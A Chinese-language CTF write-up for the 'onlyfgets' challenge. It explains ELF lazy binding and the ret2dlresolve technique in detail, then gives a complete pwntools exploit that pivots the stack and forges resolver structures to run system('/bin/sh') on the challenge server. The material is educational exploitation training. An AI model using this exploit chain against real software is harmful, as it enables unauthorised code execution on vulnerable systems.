Onlyfgets
.png)
main函数:
.png)
整个程序很简单,就main函数这一共功能,这里很明显的栈溢出且除了nx没有其他保护(got表可写),而且写入量非常大,在没法获得libc地址的情况下我们考虑ret2dlresolve
我们先简单了解一下ret2dlresolve的原理
首先我们先看正常情况下的解析
在ELF程序里,像printf这类的外部库函数并不是一开始就把真实地址写死在程序里(因为libc的加载地址会变、ASLR会变),是通过延迟绑定机制确定真实地址的。
PLT:很多小跳版组成,每个外部函数通常对应一个plt条目,call puts@plt(举例)会先跳到plt,然后通过plt跳到下一步
GOT:里面放真实地址
第一次解析某个函数时(以puts函数为例)
puts@plt:
jmp QWORD PTR [puts@got] ; 读 GOT 槽位,跳过去
push reloc_index ; 第一次会用:告诉解析器解析哪个符号
jmp plt0 ; 进入统一解析入口
首先call puts@plt,跳到got表里puts对应的槽位,但是此时里面还没有存放puts真实地址,而是初始化的状态,里面放的是plt后半部分的路径(即执行push reloc_index然后jmp开始执行plt0)
如果是解析过的,got表对应槽位中有真实地址,直接就跳过去执行puts了
我们继续看第一次解析
现在开始执行plt0,plt0会去.got.plt里取出link_map和resolver(解析器)(具体是某个函数)的入口指针,然后执行resolver
resolver会拿到两个关键输入,一个是link_map和前面push的reloc_index
link_map (当前模块的运行时档案)
├─ l_addr = 模块加载基址 (base address)
├─ l_ld --------> .dynamic 段首地址 (Elf*_Dyn 数组)
└─ l_info[] = 快速索引表(每个槽位指向某个 Dyn 条目)
│
├─ l_info[DT_SYMTAB] ----+
├─ l_info[DT_STRTAB] ----+----> 指向 .dynamic 里的某个 Elf*_Dyn 条目本体(指针)
├─ l_info[DT_JMPREL] ----+
├─ l_info[DT_PLTRELSZ] ...
└─ ...
这样resolver通过link_map找到当前模块的.dynamic,然后通过扫描.dynamic生成l_info,然后根据快速索引表的指针和基址的运算找到具体条目,关键项有:
DT_JMPREL:PLT 相关重定位表地址(.rel.plt 或 .rela.plt)
DT_PLTRELSZ:这张重定位表的总字节数
DT_PLTREL:告诉你是 REL 还是 RELA
DT_SYMTAB:动态符号表 .dynsym 的地址
DT_STRTAB:字符串表 .dynstr 的地址
找到DT_JMPREL后程序通过这个找到.rel.plt/.rela.plt,
.rel.plt/.rela.plt的核心:
r_offest:得到真实地址后要写到的位置,典型就是某个got表的地址
r_info:符号索引(sym_index)和重定位类型
然后根据传入resolver的另一个参数reloc_index(索引或者偏移),通过这个索引或偏移在.rel.plt/.rela.plt找到对应的重定位项,然后找到这个重定位项中的r_info,通过这个解出sym_index
然后根据sym_index在.dynsym(通过DT_SYMTAB找到)定位到对应的条目中的st_name(这个是一个偏移)项
然后根据st_name这个.dynstr的偏移在.dynstr(通过DT_STRTAB找到,里面是一堆函数名字的字符串)找到函数名(字符串)
然后根据这个找到的函数名在已加载的共享库中查,得到这个函数的真实地址
然后把得到的地址写回前面的r_offest,这样got表里那个函数的槽就有真实地址了。
在 ELF 程序里,像 puts、printf 这类的外部库函数,并不是一开始就把真实地址写死在程序里的。因为每次运行程序时,libc 的加载基址都会因为 ASLR(地址空间布局随机化)而发生改变。
为了解决这个问题,系统采用了延迟绑定机制:只有当函数第一次被调用时,才去查找它的真实地址。这个过程主要依赖 PLT(过程链接表)和 GOT(全局偏移表)的配合。
PLT:由许多小跳板组成。每个外部函数通常对应一个 PLT 条目(比如 puts@plt)。当你执行 call puts 时,程序实际上跳到了这里。
GOT:里面存放着函数的真实内存地址。
- 第一次调用的触发阶段
以第一次调用 puts 函数为例,程序跳入 puts@plt:
puts@plt:
jmp QWORD PTR [puts@got] ; 读 GOT 槽位,跳过去
push reloc_index ; 压入 reloc_index,告诉解析器要解析哪个符号
jmp plt0 ; 进入统一解析入口 PLT[0]
由于这是第一次调用,puts@got 槽位里存放的并不是 puts 的真实地址,而是处于初始状态——里面存放的是 puts@plt 中 push reloc_index 这条指令的地址!
因此,程序会顺着执行下去,将 reloc_index 压栈,并跳转到 PLT[0]。
(注:如果函数已经被解析过,GOT 表里就会是真实地址,jmp 就会直接跳去执行 puts,不会再往下走了。)
- 进入统一解析入口
PLT[0]
开始执行 PLT[0] 时,程序会去 .got.plt 的前几项里取出两个关键数据,并执行解析器:
代码段
PLT[0]:
push QWORD PTR [GOT+8] ; 压入link_map (GOT 的第 2 项)
jmp QWORD PTR [GOT+16] ; 跳转执行 _dl_runtime_resolve (GOT 的第 3 项)
此时,解析器 _dl_runtime_resolve 拿到了两个至关重要的输入参数:
link_map(通过push传入)reloc_index(在刚才的puts@plt中通过push传入)
3.link_map:
link_map 是当前模块的运行时档案,结构极其重要。早在程序刚启动时(进入 main 函数前),动态链接器就已经扫描了 .dynamic 段,并将相关的指针填入了 link_map 的 l_info 数组中:
link_map
├─ l_addr = 模块加载基址 (base address)
├─ l_ld ---------> .dynamic 段首地址 (Elf*_Dyn 数组)
└─ l_info[] = 快速索引表(每个槽位指向具体的 Dyn 条目)
│
├─ l_info[DT_SYMTAB] ----> 指向动态符号表 .dynsym 的地址
├─ l_info[DT_STRTAB] ----> 指向字符串表 .dynstr 的地址
├─ l_info[DT_JMPREL] ----> 指向重定位表 .rel.plt / .rela.plt 的地址
├─ l_info[DT_PLTRELSZ]----> 重定位表的总大小
└─ ...
- 解析器按图索骥
解析器拿着 link_map 和 reloc_index:
第一步:定位重定位表项 (Elf_Rel / Elf_Rela)
解析器通过 link_map->l_info[DT_JMPREL] 找到重定位表的基址。然后,利用传入的 reloc_index 作为索引或偏移,精准命中 puts 对应的重定位结构体。这个结构体里有两个关键字段:
r_offset:得到真实地址后,要把地址写回哪里(这里存放的就是puts@got的地址)。r_info:包含了符号表索引和重定位类型。
第二步:提取符号索引 (sym_index)
解析器从结构体中取出 r_info,通过位移运算解出 sym_index。
- 32位系统:sym_index = r_info >> 8
- 64位系统:sym_index = r_info >> 32
第三步:定位符号表项 (Elf_Sym)
解析器通过 link_map->l_info[DT_SYMTAB] 找到动态符号表(.dynsym)的基址。结合刚才算出的 sym_index,定位到对应的符号表条目,从中取出一个偏移量 st_name。
第四步:获取真正的函数名
解析器通过 link_map->l_info[DT_STRTAB] 找到字符串表(.dynstr)的基址。加上 st_name 这个偏移量,最终在内存中读取到了函数名的字符串:"puts\x00"。
第五步:查找并回写
解析器拿着 "puts" 这个名字,去系统已加载的共享库(libc)中查找,得到了 puts 的真实内存地址。最后,它把这个真实地址写回第一步记录的 r_offset(即 GOT 表的槽位)。
至此,解析大功告成,GOT 表被成功“绑定”,解析器顺手调用真实地址执行函数。下次再调用 puts 时,由于 GOT 表里已经是真实地址,就可以直接执行了。
这题能用pwntools里的Ret2dlresolvePayload,我们先讲Ret2dlresolvePayload的利用原理。
为了让解析器最终帮我们解析出 system 函数,我们需要进行一系列的伪造:
我们最后想要查找的是 system。因此,我们要伪造一个字符串表(.dynstr),里面写入 "system\x00" 字符串。
我们想要让程序去读取我们伪造的字符串,我们需要控制 st_name(即字符串偏移)。因此,我们要伪造一个符号表项(Elf_Sym 结构体),把里面的 st_name 指向我们伪造的 "system\x00"。
我们想要让程序使用我们伪造的符号表项,我们需要控制 sym_index。因此,我们要伪造一个重定位表项(Elf_Rel / Elf_Rela 结构体),修改其中的 r_info 字段,使其解算出的索引指向我们伪造的 Elf_Sym。同时,修改 r_offset 字段,指向我们想要覆盖的 GOT 表槽位。
最终,我们想要让程序使用我们伪造的重定位表项,我们就必须在触发解析时,控制传入的 reloc_index(或者偏移)!
那我们就要控制 reloc_index,
【情况 A:在 32 位系统下(栈传参)】我们可以利用栈溢出覆盖返回地址(eip),将栈布局成如下模样:
[ PLT[0] 的地址 ] <-- 覆盖原本的返回地址(eip)
[ 伪造的 reloc_arg] <-- PLT[0] 执行时需要的参数
[ 任意返回地址 ] <-- 解析并执行完 system 后的去处
[ "/bin/sh" 地址 ] <-- system 的参数
当漏洞函数执行 ret 指令时,会将 PLT[0] 弹出到 eip 中执行。此时由于栈指针 esp 自动下移,栈顶恰好就是我们布置的 reloc_arg。 这完美等价于正常情况下的:
代码段
push reloc_arg
jmp plt0
程序会拿着我们伪造的巨大偏移,去寻找我们布置在 .bss 段的结构体。
【情况 B:在 64 位系统下(寄存器传参)】在 64 位下,解析器 _dl_runtime_resolve 不再从栈上读取参数,而是从寄存器读取:rdi 存放 link_map,rsi 存放 reloc_index。 因此,覆盖 rip 直接跳到 PLT[0] 是不够的,我们需要借助 Gadget 构造如下的 ROP 链:
[ pop rdi; ret 的 gadget ]
[ GOT[1] 真实的 link_map ]
[ pop rsi; ret 的 gadget ]
[ 伪造的 reloc_index ]
[ PLT[0] 的地址 ]
通过这段 ROP 链,我们将合法的 link_map 和伪造的 reloc_index 塞入对应的寄存器,最后再跳入 PLT[0] 触发解析。
以这题的Ret2dlresolvePayload为例
dlresolve_data_addr = fake_rbp + 0x100
dlresolve = Ret2dlresolvePayload(
elf,
symbol="system",
args=["/bin/sh"],
data_addr=dlresolve_data_addr
)
dlresolve_data_addr是我们放置伪造部分的位置
打包生成了 dlresolve.payload:
伪造第 1 步(伪造字符串):它在 payload 内部写下了 "system\x00" 和 "/bin/sh\x00"。
伪造第 2 步(伪造 Elf64_Sym):它算出了 "system" 距离 .dynstr 的偏移,填入伪造结构体的 st_name 中。
伪造第 3 步(伪造 Elf64_Rela):它算出了 Elf64_Sym 的 sym_index,并组合成 r_info。同时它挑选了一个可写的 GOT 槽位(通常也是 BSS 段里的某个位置)作为 r_offset。
计算:它根据提供的 data_addr,反向除以 24,计算出了最关键的那个 reloc_index。
rop = ROP(elf)
rop.ret2dlresolve(dlresolve)
当调用 rop.ret2dlresolve 时,pwntools 会自动在程序里搜寻 pop rdi; ret 和 pop rsi; ret 的 Gadget,组装出如下的 rop.chain():
pop rdi; ret-> 传入GOT[1](真实的link_map)pop rsi; ret-> 传入 pwntools 刚算好的巨大reloc_indexPLT[0]的地址 -> 触发_dl_runtime_resolve解析pop rdi; ret-> 将/bin/sh的地址传入 rdi (作为 system 的参数)- 指向刚刚解析好的
systemGOT 槽位 -> 执行 system("/bin/sh")
payload2 = flat([
fill(40), # 此时 rbp 已经是 fake_rbp 了,填充到返回地址
rop.chain(), # 写入 ROP 链(控制流开始执行)
# 用 \x00 填充,确保伪造的数据正好落在我们前面说的地址上
b'\x00' * (dlresolve_data_addr - (fake_rbp + 8 + len(rop.chain()))),
dlresolve.payload # 写入伪造的各种结构体
])
这里要注意一种情况,在不是很古老的64位版本中会有一个versym_addr检查,versym_addr的地址必须可读,如果文件比较大,我们放伪造体的位置(通常是.bss段)离可读段太远了,这样算出来的地址超出了 .rodata 的范围,继续往高地址走,在到达 .bss 段之前,会遇到一段长达大约 2MB 的巨大空白(看具体编译情况,有些有有些没有),如果落在这里就会失败,一般来说,程序的 .bss 段与代码可读段之间的空隙,没有超过安全区(可读段,代码段和只读段)自身厚度的 11 倍,我们就能通过检查
这题的.bss段距离安全区很近,所以能用:
readelf -S ./onlyfgets | grep .bss
[25] .bss NOBITS 0000000000404050 00003050
还要注意一点就是我们要确定保护中got表是可写状态,不然我们就不能用这个方法。
我们这题只有一次读取,所以我们就用常用的栈迁移的方法
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'tcp 60.205.163.215 14836'
file_name = './onlyfgets'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf): return binary.address + val
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
#################################################################################
main = 0x4011dd
fake_rbp = elf.bss() + 0xe00
dlresolve_data_addr = fake_rbp + 0x100
dlresolve = Ret2dlresolvePayload(
elf,
symbol="system",
args=["/bin/sh"],
data_addr=dlresolve_data_addr
)
rop = ROP(elf)
rop.ret2dlresolve(dlresolve)
payload2 = flat([
fill(40),
rop.chain(),
b'\x00' * (dlresolve_data_addr - (fake_rbp + 8 + len(rop.chain()))),
dlresolve.payload
])
payload1 = flat([
fill(32),
fake_rbp,
main
])
sl(payload1)
sleep(0.1)
sl(payload2)
it()
题目链接:
CTF-Writeups/N1CTF Junior 2026 1/onlyfgets at main · Zenquiem/CTF-Writeups